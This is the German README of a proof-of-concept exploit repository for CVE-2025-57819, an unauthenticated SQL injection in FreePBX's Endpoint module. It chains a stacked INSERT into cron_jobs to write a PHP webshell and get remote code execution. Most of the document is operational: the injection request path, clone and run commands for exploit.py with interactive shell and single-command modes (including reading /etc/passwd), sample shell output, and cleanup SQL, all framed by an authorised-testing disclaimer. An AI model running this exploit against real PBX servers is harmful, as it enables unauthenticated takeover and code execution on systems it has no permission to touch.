
Nicht authentifizierte SQL-Injection in FreePBX führt zu Remote Code Execution. FreePBX 15 (unter 15.0.66), 16 (unter 16.0.89), 17 (unter 17.0.3). Die Schwachstelle befindet sich im kommerziellen „Endpoint“-Modul. Aufgrund unzureichender Filterung von Benutzereingaben ermöglicht sie einem nicht authentifizierten Angreifer, Administratorrechte zu umgehen, eine SQL-Injection durchzuführen und letztendlich eine Remote Code Execution zu erreichen.
CVE-2025-57819 ist eine kritische SQL-Injection-Schwachstelle in FreePBX, die es einem nicht authentifizierten Angreifer ermöglicht, durch die Verkettung einer SQL-Injection mit einer Cron-Job-Injection eine Remote Code Execution zu erreichen.
⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die unbefugte Nutzung dieses Exploits gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden.
| Feld | Detail |
|---|
| CVE | CVE-2025-57819 |
| Betroffenes Produkt | FreePBX (vor Authentifizierung) |
| Schwachstellentyp | SQL Injection (gestapelte Abfragen) |
| Auswirkung | Remote Code Execution (RCE) |
| Angriffsvektor | Netzwerk (HTTP GET) |
| Erforderliche Authentifizierung | ❌ Keine |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → gestapelte Abfrage │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron-Job-Injection │
│ Bösartiger Cron-Job schreibt base64-dekodiertes PHP-Webshell│
│ nach /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell-Zugriff │
│ GET /shell.php?cmd=<command> → beliebige Codeausführung │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php verarbeitet den Parameter brand ohne ordnungsgemäße Bereinigung, was gestapelte SQL-Abfragen ermöglicht.INSERT INTO cron_jobs-Anweisung, die jede Minute einen bösartigen Befehl einplant.# Klonen
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Abhängigkeit installieren
pip install requests
# Grundlegende Nutzung
python exploit.py <target>
# Nach der Injektion in die interaktive Shell wechseln
python exploit.py <target> --shell
# Einen einzelnen Befehl ausführen
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target Ziel-Hostname oder IP (mit optionalem Schema)
options:
-h, --help Diese Hilfemeldung anzeigen und beenden
-p, --port PORT Port (Standard: 80/443)
--shell Nach der Injektion in die interaktive Shell wechseln
--cmd CMD Einen einzelnen Befehl über das Webshell ausführen
--param PARAM Webshell-Abfragezeichenfolgen-Parameter (Standard: cmd)
--no-wait Die Webshell-Überprüfungsabfrage überspringen
-v, -vv Ausführlichkeit erhöhen (-v info, -vv debug)
# Ziel mit Standard-HTTP-Port
python exploit.py connected.htb
# Ziel mit benutzerdefiniertem Port
python exploit.py 10.10.11.100 -p 8080
# Injizieren, überprüfen und in die interaktive Shell wechseln
python exploit.py 10.10.11.100 --shell
# Injizieren und einen einzelnen Befehl ausführen
python exploit.py connected.htb --cmd "whoami"
# Die Überprüfungsabfrage überspringen (wenn Sie bereits wissen, dass die Shell aktiv ist)
python exploit.py connected.htb --no-wait --cmd "id"
# Ausführliche Ausgabe zum Debuggen
python exploit.py connected.htb -vv --shell
Bei Verwendung von --shell wechselt das Skript in ein Pseudo-Terminal:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell-Sitzung beendet.
Geben Sie exit (oder Strg-C, Strg-D) ein, um die Sitzung zu beenden.
Wenn Sie manuelle Schritte bevorzugen, führt der Exploit drei Dinge aus:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
Der injizierte Cron-Job (* * * * *) wird jede Minute ausgeführt und schreibt das Webshell.
GET /shell.php?cmd=id
Nach dem Test entfernen Sie das Webshell und den Cron-Job-Eintrag:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
Löschen Sie dann /var/www/html/shell.php vom Dateisystem.
/admin/ajax.php ohne Authentifizierung erreichbar istDieses Projekt wird ausschließlich zu Bildungs- und defensiven Sicherheitsforschungszwecken bereitgestellt. Siehe den Haftungsausschluss am Anfang dieses Dokuments.